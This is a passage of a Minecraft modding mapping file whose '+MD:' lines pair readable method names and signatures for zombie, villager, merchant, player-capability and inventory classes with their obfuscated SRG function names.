(Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/entity/monster/EntityZombie/func_180429_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/entity/monster/EntityZombie/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntityZombie/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntityZombie/setEquipmentBasedOnDifficulty (Lnet/minecraft/world/DifficultyInstance;)V net/minecraft/entity/monster/EntityZombie/func_180481_a (Lnet/minecraft/world/DifficultyInstance;)V +MD: net/minecraft/entity/monster/EntityZombie/onInitialSpawn (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; net/minecraft/entity/monster/EntityZombie/func_180482_a (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; +MD: net/minecraft/entity/monster/EntityZombie/onDeath (Lnet/minecraft/util/DamageSource;)V net/minecraft/entity/monster/EntityZombie/func_70645_a (Lnet/minecraft/util/DamageSource;)V +MD: net/minecraft/entity/monster/EntityZombie/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/monster/EntityZombie/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/monster/EntityZombie/onKillEntity (Lnet/minecraft/entity/EntityLivingBase;)V net/minecraft/entity/monster/EntityZombie/func_70074_a (Lnet/minecraft/entity/EntityLivingBase;)V +MD: net/minecraft/entity/monster/EntityZombie/interact (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/monster/EntityZombie/func_70085_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/monster/EntityZombie/func_175448_a (Lnet/minecraft/item/ItemStack;)Z net/minecraft/entity/monster/EntityZombie/func_175448_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/monster/EntityZombie/setBreakDoorsAItask (Z)V net/minecraft/entity/monster/EntityZombie/func_146070_a (Z)V +MD: net/minecraft/entity/monster/EntityZombie/getEyeHeight ()F net/minecraft/entity/monster/EntityZombie/func_70047_e ()F +MD: net/minecraft/entity/monster/EntityZombie/applyEntityAttributes ()V net/minecraft/entity/monster/EntityZombie/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntityZombie/getYOffset ()D net/minecraft/entity/monster/EntityZombie/func_70033_W ()D +MD: net/minecraft/entity/monster/EntityZombie/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntityZombie/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntityZombie/getExperiencePoints (Lnet/minecraft/entity/player/EntityPlayer;)I net/minecraft/entity/monster/EntityZombie/func_70693_a (Lnet/minecraft/entity/player/EntityPlayer;)I +MD: net/minecraft/entity/monster/EntityZombie/getHurtSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityZombie/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityZombie/getDeathSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityZombie/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityZombie/addRandomDrop ()V net/minecraft/entity/monster/EntityZombie/func_82164_bB ()V +MD: net/minecraft/entity/monster/EntityZombie/getTotalArmorValue ()I net/minecraft/entity/monster/EntityZombie/func_70658_aO ()I +MD: net/minecraft/entity/monster/EntityZombie/getCreatureAttribute ()Lnet/minecraft/entity/EnumCreatureAttribute; net/minecraft/entity/monster/EntityZombie/func_70668_bt ()Lnet/minecraft/entity/EnumCreatureAttribute; +MD: net/minecraft/entity/monster/EntityZombie/isBreakDoorsTaskSet ()Z net/minecraft/entity/monster/EntityZombie/func_146072_bX ()Z +MD: net/minecraft/entity/monster/EntityZombie/isVillager ()Z net/minecraft/entity/monster/EntityZombie/func_82231_m ()Z +MD: net/minecraft/entity/monster/EntityZombie/isConverting ()Z net/minecraft/entity/monster/EntityZombie/func_82230_o ()Z +MD: net/minecraft/entity/monster/EntityZombie/convertToVillager ()V net/minecraft/entity/monster/EntityZombie/func_82232_p ()V +MD: net/minecraft/entity/monster/EntityZombie/getConversionTimeBoost ()I net/minecraft/entity/monster/EntityZombie/func_82233_q ()I +MD: net/minecraft/entity/monster/EntityZombie/entityInit ()V net/minecraft/entity/monster/EntityZombie/func_70088_a ()V +MD: net/minecraft/entity/monster/EntityZombie/isChild ()Z net/minecraft/entity/monster/EntityZombie/func_70631_g_ ()Z +MD: net/minecraft/entity/monster/EntityZombie/setChild (Z)V net/minecraft/entity/monster/EntityZombie/func_82227_f (Z)V +MD: net/minecraft/entity/monster/EntityZombie/onLivingUpdate ()V net/minecraft/entity/monster/EntityZombie/func_70636_d ()V +MD: net/minecraft/entity/monster/EntityZombie/setVillager (Z)V net/minecraft/entity/monster/EntityZombie/func_82229_g (Z)V +MD: net/minecraft/entity/monster/EntityZombie/applyEntityAI ()V net/minecraft/entity/monster/EntityZombie/func_175456_n ()V +MD: net/minecraft/entity/monster/EntityZombie/setChildSize (Z)V net/minecraft/entity/monster/EntityZombie/func_146071_k (Z)V +MD: net/minecraft/entity/monster/EntityZombie/attackEntityAsMob (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/monster/EntityZombie/func_70652_k (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/monster/EntityZombie/onUpdate ()V net/minecraft/entity/monster/EntityZombie/func_70071_h_ ()V +MD: net/minecraft/entity/monster/EntityZombie/getLivingSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityZombie/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/NpcMerchant/useRecipe (Lnet/minecraft/village/MerchantRecipe;)V net/minecraft/entity/NpcMerchant/func_70933_a (Lnet/minecraft/village/MerchantRecipe;)V +MD: net/minecraft/entity/NpcMerchant/setRecipes (Lnet/minecraft/village/MerchantRecipeList;)V net/minecraft/entity/NpcMerchant/func_70930_a (Lnet/minecraft/village/MerchantRecipeList;)V +MD: net/minecraft/entity/NpcMerchant/setCustomer (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/entity/NpcMerchant/func_70932_a_ (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/entity/NpcMerchant/verifySellingItem (Lnet/minecraft/item/ItemStack;)V net/minecraft/entity/NpcMerchant/func_110297_a_ (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/NpcMerchant/getRecipes (Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/village/MerchantRecipeList; net/minecraft/entity/NpcMerchant/func_70934_b (Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/village/MerchantRecipeList; +MD: net/minecraft/entity/NpcMerchant/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/entity/NpcMerchant/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/entity/NpcMerchant/getCustomer ()Lnet/minecraft/entity/player/EntityPlayer; net/minecraft/entity/NpcMerchant/func_70931_l_ ()Lnet/minecraft/entity/player/EntityPlayer; +MD: net/minecraft/entity/passive/EntityVillager$EmeraldForItems/modifyMerchantRecipeList (Lnet/minecraft/village/MerchantRecipeList;Ljava/util/Random;)V net/minecraft/entity/passive/EntityVillager$EmeraldForItems/func_179401_a (Lnet/minecraft/village/MerchantRecipeList;Ljava/util/Random;)V +MD: net/minecraft/entity/passive/EntityVillager$ListEnchantedBookForEmeralds/modifyMerchantRecipeList (Lnet/minecraft/village/MerchantRecipeList;Ljava/util/Random;)V net/minecraft/entity/passive/EntityVillager$ListEnchantedBookForEmeralds/func_179401_a (Lnet/minecraft/village/MerchantRecipeList;Ljava/util/Random;)V +MD: net/minecraft/entity/passive/EntityVillager$ListEnchantedItemForEmeralds/modifyMerchantRecipeList (Lnet/minecraft/village/MerchantRecipeList;Ljava/util/Random;)V net/minecraft/entity/passive/EntityVillager$ListEnchantedItemForEmeralds/func_179401_a (Lnet/minecraft/village/MerchantRecipeList;Ljava/util/Random;)V +MD: net/minecraft/entity/passive/EntityVillager$ItemAndEmeraldToItem/modifyMerchantRecipeList (Lnet/minecraft/village/MerchantRecipeList;Ljava/util/Random;)V net/minecraft/entity/passive/EntityVillager$ItemAndEmeraldToItem/func_179401_a (Lnet/minecraft/village/MerchantRecipeList;Ljava/util/Random;)V +MD: net/minecraft/entity/passive/EntityVillager$ListItemForEmeralds/modifyMerchantRecipeList (Lnet/minecraft/village/MerchantRecipeList;Ljava/util/Random;)V net/minecraft/entity/passive/EntityVillager$ListItemForEmeralds/func_179401_a (Lnet/minecraft/village/MerchantRecipeList;Ljava/util/Random;)V +MD: net/minecraft/entity/passive/EntityVillager$ITradeList/modifyMerchantRecipeList (Lnet/minecraft/village/MerchantRecipeList;Ljava/util/Random;)V net/minecraft/entity/passive/EntityVillager$ITradeList/func_179401_a (Lnet/minecraft/village/MerchantRecipeList;Ljava/util/Random;)V +MD: net/minecraft/entity/passive/EntityVillager$PriceInfo/getPrice (Ljava/util/Random;)I net/minecraft/entity/passive/EntityVillager$PriceInfo/func_179412_a (Ljava/util/Random;)I +MD: net/minecraft/entity/passive/EntityVillager/canDespawn ()Z net/minecraft/entity/passive/EntityVillager/func_70692_ba ()Z +MD: net/minecraft/entity/passive/EntityVillager/updateAITasks ()V net/minecraft/entity/passive/EntityVillager/func_70619_bc ()V +MD: net/minecraft/entity/passive/EntityVillager/handleStatusUpdate (B)V net/minecraft/entity/passive/EntityVillager/func_70103_a (B)V +MD: net/minecraft/entity/passive/EntityVillager/useRecipe (Lnet/minecraft/village/MerchantRecipe;)V net/minecraft/entity/passive/EntityVillager/func_70933_a (Lnet/minecraft/village/MerchantRecipe;)V +MD: net/minecraft/entity/passive/EntityVillager/setRecipes (Lnet/minecraft/village/MerchantRecipeList;)V net/minecraft/entity/passive/EntityVillager/func_70930_a (Lnet/minecraft/village/MerchantRecipeList;)V +MD: net/minecraft/entity/passive/EntityVillager/spawnParticles (Lnet/minecraft/util/EnumParticleTypes;)V net/minecraft/entity/passive/EntityVillager/func_180489_a (Lnet/minecraft/util/EnumParticleTypes;)V +MD: net/minecraft/entity/passive/EntityVillager/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityVillager/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityVillager/onInitialSpawn (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; net/minecraft/entity/passive/EntityVillager/func_180482_a (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; +MD: net/minecraft/entity/passive/EntityVillager/onDeath (Lnet/minecraft/util/DamageSource;)V net/minecraft/entity/passive/EntityVillager/func_70645_a (Lnet/minecraft/util/DamageSource;)V +MD: net/minecraft/entity/passive/EntityVillager/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; net/minecraft/entity/passive/EntityVillager/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; +MD: net/minecraft/entity/passive/EntityVillager/onStruckByLightning (Lnet/minecraft/entity/effect/EntityLightningBolt;)V net/minecraft/entity/passive/EntityVillager/func_70077_a (Lnet/minecraft/entity/effect/EntityLightningBolt;)V +MD: net/minecraft/entity/passive/EntityVillager/updateEquipmentIfNeeded (Lnet/minecraft/entity/item/EntityItem;)V net/minecraft/entity/passive/EntityVillager/func_175445_a (Lnet/minecraft/entity/item/EntityItem;)V +MD: net/minecraft/entity/passive/EntityVillager/interact (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/passive/EntityVillager/func_70085_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/passive/EntityVillager/canVillagerPickupItem (Lnet/minecraft/item/Item;)Z net/minecraft/entity/passive/EntityVillager/func_175558_a (Lnet/minecraft/item/Item;)Z +MD: net/minecraft/entity/passive/EntityVillager/getEyeHeight ()F net/minecraft/entity/passive/EntityVillager/func_70047_e ()F +MD: net/minecraft/entity/passive/EntityVillager/applyEntityAttributes ()V net/minecraft/entity/passive/EntityVillager/func_110147_ax ()V +MD: net/minecraft/entity/passive/EntityVillager/setCustomer (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/entity/passive/EntityVillager/func_70932_a_ (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/entity/passive/EntityVillager/verifySellingItem (Lnet/minecraft/item/ItemStack;)V net/minecraft/entity/passive/EntityVillager/func_110297_a_ (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/passive/EntityVillager/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityVillager/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityVillager/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityVillager; net/minecraft/entity/passive/EntityVillager/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityVillager; +MD: net/minecraft/entity/passive/EntityVillager/setRevengeTarget (Lnet/minecraft/entity/EntityLivingBase;)V net/minecraft/entity/passive/EntityVillager/func_70604_c (Lnet/minecraft/entity/EntityLivingBase;)V +MD: net/minecraft/entity/passive/EntityVillager/getRecipes (Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/village/MerchantRecipeList; net/minecraft/entity/passive/EntityVillager/func_70934_b (Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/village/MerchantRecipeList; +MD: net/minecraft/entity/passive/EntityVillager/getHurtSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityVillager/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityVillager/getDeathSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityVillager/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityVillager/allowLeashing ()Z net/minecraft/entity/passive/EntityVillager/func_110164_bC ()Z +MD: net/minecraft/entity/passive/EntityVillager/getProfession ()I net/minecraft/entity/passive/EntityVillager/func_70946_n ()I +MD: net/minecraft/entity/passive/EntityVillager/isMating ()Z net/minecraft/entity/passive/EntityVillager/func_70941_o ()Z +MD: net/minecraft/entity/passive/EntityVillager/isPlaying ()Z net/minecraft/entity/passive/EntityVillager/func_70945_p ()Z +MD: net/minecraft/entity/passive/EntityVillager/isTrading ()Z net/minecraft/entity/passive/EntityVillager/func_70940_q ()Z +MD: net/minecraft/entity/passive/EntityVillager/setLookingForHome ()V net/minecraft/entity/passive/EntityVillager/func_82187_q ()V +MD: net/minecraft/entity/passive/EntityVillager/getVillagerInventory ()Lnet/minecraft/inventory/InventoryBasic; net/minecraft/entity/passive/EntityVillager/func_175551_co ()Lnet/minecraft/inventory/InventoryBasic; +MD: net/minecraft/entity/passive/EntityVillager/func_175553_cp ()Z net/minecraft/entity/passive/EntityVillager/func_175553_cp ()Z +MD: net/minecraft/entity/passive/EntityVillager/canAbondonItems ()Z net/minecraft/entity/passive/EntityVillager/func_175555_cq ()Z +MD: net/minecraft/entity/passive/EntityVillager/func_175557_cr ()Z net/minecraft/entity/passive/EntityVillager/func_175557_cr ()Z +MD: net/minecraft/entity/passive/EntityVillager/isFarmItemInInventory ()Z net/minecraft/entity/passive/EntityVillager/func_175556_cs ()Z +MD: net/minecraft/entity/passive/EntityVillager/setAdditionalAItasks ()V net/minecraft/entity/passive/EntityVillager/func_175552_ct ()V +MD: net/minecraft/entity/passive/EntityVillager/populateBuyingList ()V net/minecraft/entity/passive/EntityVillager/func_175554_cu ()V +MD: net/minecraft/entity/passive/EntityVillager/replaceItemInInventory (ILnet/minecraft/item/ItemStack;)Z net/minecraft/entity/passive/EntityVillager/func_174820_d (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/passive/EntityVillager/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/entity/passive/EntityVillager/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/entity/passive/EntityVillager/entityInit ()V net/minecraft/entity/passive/EntityVillager/func_70088_a ()V +MD: net/minecraft/entity/passive/EntityVillager/setMating (Z)V net/minecraft/entity/passive/EntityVillager/func_70947_e (Z)V +MD: net/minecraft/entity/passive/EntityVillager/setPlaying (Z)V net/minecraft/entity/passive/EntityVillager/func_70939_f (Z)V +MD: net/minecraft/entity/passive/EntityVillager/onGrowingAdult ()V net/minecraft/entity/passive/EntityVillager/func_175500_n ()V +MD: net/minecraft/entity/passive/EntityVillager/getIsWillingToMate (Z)Z net/minecraft/entity/passive/EntityVillager/func_175550_n (Z)Z +MD: net/minecraft/entity/passive/EntityVillager/setIsWillingToMate (Z)V net/minecraft/entity/passive/EntityVillager/func_175549_o (Z)V +MD: net/minecraft/entity/passive/EntityVillager/setProfession (I)V net/minecraft/entity/passive/EntityVillager/func_70938_b (I)V +MD: net/minecraft/entity/passive/EntityVillager/hasEnoughItems (I)Z net/minecraft/entity/passive/EntityVillager/func_175559_s (I)Z +MD: net/minecraft/entity/passive/EntityVillager/getCustomer ()Lnet/minecraft/entity/player/EntityPlayer; net/minecraft/entity/passive/EntityVillager/func_70931_l_ ()Lnet/minecraft/entity/player/EntityPlayer; +MD: net/minecraft/entity/passive/EntityVillager/getLivingSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityVillager/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/player/PlayerCapabilities/getFlySpeed ()F net/minecraft/entity/player/PlayerCapabilities/func_75093_a ()F +MD: net/minecraft/entity/player/PlayerCapabilities/setFlySpeed (F)V net/minecraft/entity/player/PlayerCapabilities/func_75092_a (F)V +MD: net/minecraft/entity/player/PlayerCapabilities/writeCapabilitiesToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/player/PlayerCapabilities/func_75091_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/player/PlayerCapabilities/getWalkSpeed ()F net/minecraft/entity/player/PlayerCapabilities/func_75094_b ()F +MD: net/minecraft/entity/player/PlayerCapabilities/setPlayerWalkSpeed (F)V net/minecraft/entity/player/PlayerCapabilities/func_82877_b (F)V +MD: net/minecraft/entity/player/PlayerCapabilities/readCapabilitiesFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/player/PlayerCapabilities/func_75095_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/player/InventoryPlayer$1/call ()Ljava/lang/String; net/minecraft/entity/player/InventoryPlayer$1/call ()Ljava/lang/String; +MD: net/minecraft/entity/player/InventoryPlayer$1/call ()Ljava/lang/Object; net/minecraft/entity/player/InventoryPlayer$1/call ()Ljava/lang/Object; +MD: net/minecraft/entity/player/InventoryPlayer/damageArmor (F)V net/minecraft/entity/player/InventoryPlayer/func_70449_g (F)V +MD: net/minecraft/entity/player/InventoryPlayer/getStackInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/entity/player/InventoryPlayer/func_70301_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/player/InventoryPlayer/decrStackSize (II)Lnet/minecraft/item/ItemStack; net/minecraft/entity/player/InventoryPlayer/func_70298_a (II)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/player/InventoryPlayer/setInventorySlotContents (ILnet/minecraft/item/ItemStack;)V net/minecraft/entity/player/InventoryPlayer/func_70299_a (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/player/InventoryPlayer/getStrVsBlock (Lnet/minecraft/block/Block;)F net/minecraft/entity/player/InventoryPlayer/func_146023_a (Lnet/minecraft/block/Block;)F +MD: net/minecraft/entity/player/InventoryPlayer/writeToNBT (Lnet/minecraft/nbt/NBTTagList;)Lnet/minecraft/nbt/NBTTagList; net/minecraft/entity/player/InventoryPlayer/func_70442_a (Lnet/minecraft/nbt/NBTTagList;)Lnet/minecraft/nbt/NBTTagList; +MD: net/minecraft/entity/player/InventoryPlayer/isUseableByPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/player/InventoryPlayer/func_70300_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/player/InventoryPlayer/consumeInventoryItem (Lnet/minecraft/item/Item;)Z net/minecraft/entity/player/InventoryPlayer/func_146026_a (Lnet/minecraft/item/Item;)Z +MD: net/minecraft/entity/player/InventoryPlayer/getInventorySlotContainItemAndDamage (Lnet/minecraft/item/Item;I)I net/minecraft/entity/player/InventoryPlayer/func_146024_c (Lnet/minecraft/item/Item;I)I +MD: net/minecraft/entity/player/InventoryPlayer/clearMatchingItems (Lnet/minecraft/item/Item;IILnet/minecraft/nbt/NBTTagCompound;)I net/minecraft/entity/player/InventoryPlayer/func_174925_a (Lnet/minecraft/item/Item;IILnet/minecraft/nbt/NBTTagCompound;)I +MD: net/minecraft/entity/player/InventoryPlayer/setCurrentItem (Lnet/minecraft/item/Item;IZZ)V net/minecraft/entity/player/InventoryPlayer/func_146030_a (Lnet/minecraft/item/Item;IZZ)V +MD: net/minecraft/entity/player/InventoryPlayer/addItemStackToInventory (Lnet/minecraft/item/ItemStack;)Z net/minecraft/entity/player/InventoryPlayer/func_70441_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/player/InventoryPlayer/getField (I)I net/minecraft/entity/player/InventoryPlayer/func_174887_a_ (I)I +MD: net/minecraft/entity/player/InventoryPlayer/removeStackFromSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/entity/player/InventoryPlayer/func_70304_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/player/InventoryPlayer/setField (II)V net/minecraft/entity/player/InventoryPlayer/func_174885_b (II)V +MD: net/minecraft/entity/player/InventoryPlayer/isItemValidForSlot (ILnet/minecraft/item/ItemStack;)Z net/minecraft/entity/player/InventoryPlayer/func_94041_b (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/player/InventoryPlayer/canHeldItemHarvest (Lnet/minecraft/block/Block;)Z net/minecraft/entity/player/InventoryPlayer/func_146025_b (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/entity/player/InventoryPlayer/readFromNBT (Lnet/minecraft/nbt/NBTTagList;)V net/minecraft/entity/player/InventoryPlayer/func_70443_b (Lnet/minecraft/nbt/NBTTagList;)V +MD: net/minecraft/entity/player/InventoryPlayer/copyInventory (Lnet/minecraft/entity/player/InventoryPlayer;)V net/minecraft/entity/player/InventoryPlayer/func_70455_b (Lnet/minecraft/entity/player/InventoryPlayer;)V +MD: net/minecraft/entity/player/InventoryPlayer/openInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/entity/player/InventoryPlayer/func_174889_b (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/entity/player/InventoryPlayer/hasItem (Lnet/minecraft/item/Item;)Z net/minecraft/entity/player/InventoryPlayer/func_146028_b (Lnet/minecraft/item/Item;)Z +MD: net/minecraft/entity/player/InventoryPlayer/setItemStack (Lnet/minecraft/item/ItemStack;)V net/minecraft/entity/player/InventoryPlayer/func_70437_b (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/player/InventoryPlayer/closeInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/entity/player/InventoryPlayer/func_174886_c (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/entity/player/InventoryPlayer/getInventorySlotContainItem (Lnet/minecraft/item/Item;)I net/minecraft/entity/player/InventoryPlayer/func_146029_c (Lnet/minecraft/item/Item;)I +MD: net/minecraft/entity/player/InventoryPlayer/hasItemStack (Lnet/minecraft/item/ItemStack;)Z net/minecraft/entity/player/InventoryPlayer/func_70431_c (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/player/InventoryPlayer/changeCurrentItem (I)V net/minecraft/entity/player/InventoryPlayer/func_70453_c (I)V +MD: net/minecraft/entity/player/InventoryPlayer/storeItemStack (Lnet/minecraft/item/ItemStack;)I net/minecraft/entity/player/InventoryPlayer/func_70432_d (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/entity/player/InventoryPlayer/armorItemInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/entity/player/InventoryPlayer/func_70440_f (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/player/InventoryPlayer/storePartialItemStack (Lnet/minecraft/item/ItemStack;)I net/minecraft/entity/player/InventoryPlayer/func_70452_e (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/entity/player/InventoryPlayer/getName ()Ljava/lang/String; net/minecraft/entity/player/InventoryPlayer/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/entity/player/InventoryPlayer/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/entity/player/InventoryPlayer/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/entity/player/InventoryPlayer/getFieldCount ()I net/minecraft/entity/player/InventoryPlayer/func_174890_g ()I +MD: net/minecraft/entity/player/InventoryPlayer/getCurrentItem ()Lnet/minecraft/item/ItemStack; net/minecraft/entity/player/InventoryPlayer/func_70448_g ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/player/InventoryPlayer/getHotbarSize ()I net/minecraft/entity/player/InventoryPlayer/func_70451_h ()I +MD: net/minecraft/entity/player/InventoryPlayer/getFirstEmptyStack ()I net/minecraft/entity/player/InventoryPlayer/func_70447_i ()I +MD: net/minecraft/entity/player/InventoryPlayer/decrementAnimations ()V net/minecraft/entity/player/InventoryPlayer/func_70429_k ()V +MD: net/minecraft/entity/player/InventoryPlayer/clear ()V net/minecraft/entity/player/InventoryPlayer/func_174888_l ()V +MD: net/minecraft/entity/player/InventoryPlayer/hasCustomName ()Z net/minecraft/entity/player/InventoryPlayer/func_145818_k_ ()Z +MD: net/minecraft/entity/player/InventoryPlayer/getTotalArmorValue ()I net/minecraft/entity/player/InventoryPlayer/func_70430_l ()I +MD: net/minecraft/entity/player/InventoryPlayer/dropAllItems ()V net/minecraft/entity/player/InventoryPlayer/func_70436_m ()V +MD: net/minecraft/entity/player/InventoryPlayer/getSizeInventory ()I net/minecraft/entity/player/InventoryPlayer/func_70302_i_ ()I +MD: net/minecraft/entity/player/InventoryPlayer/getItemStack ()Lnet/minecraft/item/ItemStack; net/minecraft/entity/player/InventoryPlayer/func_70445_o ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/player/InventoryPlayer/markDirty ()V net/minecraft/entity/player/InventoryPlayer/func_70296_d ()V +MD: net/minecraft/entity/player/InventoryPlayer/getInventoryStackLimit ()I net/minecraft/entity/player/InventoryPlayer/func_70297_j_ ()I +MD: net/minecraft/entity/player/EntityPlayer$EnumStatus/valueOf (Ljava/lang/String;)Lnet/minecraft/entity/player/EntityPlayer$EnumStatus; net/minecraft/entity/player/EntityPlayer$EnumStatus/valueOf (Ljava/lang/String;)Lnet/minecraft/entity/player/EntityPlayer$EnumStatus; +MD: net/minecraft/entity/player/EntityPlayer$EnumStatus/values ()[Lnet/minecraft/entity/player/EntityPlayer$EnumStatus; net/minecraft/entity/player/EntityPlayer$EnumStatus/values ()[Lnet/minecraft/entity/player/EntityPlayer$EnumStatus; +MD: net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/getChatVisibility ()I net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/func_151428_a ()I +MD: net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/getEnumChatVisibility (I)Lnet/minecraft/entity/player/EntityPlayer$EnumChatVisibility; net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/func_151426_a (I)Lnet/minecraft/entity/player/EntityPlayer$EnumChatVisibility; +MD: net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/getResourceKey ()Ljava/lang/String; net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/func_151429_b ()Ljava/lang/String; +MD: net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/values ()[Lnet/minecraft/entity/player/EntityPlayer$EnumChatVisibility; net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/values ()[Lnet/minecraft/entity/player/EntityPlayer$EnumChatVisibility; +MD: net/minecraft/entity/player/EntityPlayer/preparePlayerToSpawn ()V net/minecraft/entity/player/EntityPlayer/func_70065_x ()V +MD: net/minecraft/entity/player/EntityPlayer/setDead ()V net/minecraft/entity/player/EntityPlayer/func_70106_y ()V +MD: net/minecraft/entity/player/EntityPlayer/getMaxInPortalTime ()I net/minecraft/entity/player/EntityPlayer/func_82145_z ()I +MD: net/minecraft/entity/player/EntityPlayer/getSwimSound ()Ljava/lang/String; net/minecraft/entity/player/EntityPlayer/func_145776_H ()Ljava/lang/String; +MD: net/minecraft/entity/player/EntityPlayer/resetHeight ()V net/minecraft/entity/player/EntityPlayer/func_71061_d_ ()V +MD: net/minecraft/entity/player/EntityPlayer/handleStatusUpdate (B)V net/minecraft/entity/player/EntityPlayer/func_70103_a (B)V +MD: net/minecraft/entity/player/EntityPlayer/addExhaustion (F)V net/minecraft/entity/player/EntityPlayer/func_71020_j (F)V +MD: net/minecraft/entity/player/EntityPlayer/addExperienceLevel (I)V net/minecraft/entity/player/EntityPlayer/func_82242_a (I)V +MD: net/minecraft/entity/player/EntityPlayer/displayVillagerTradeGui 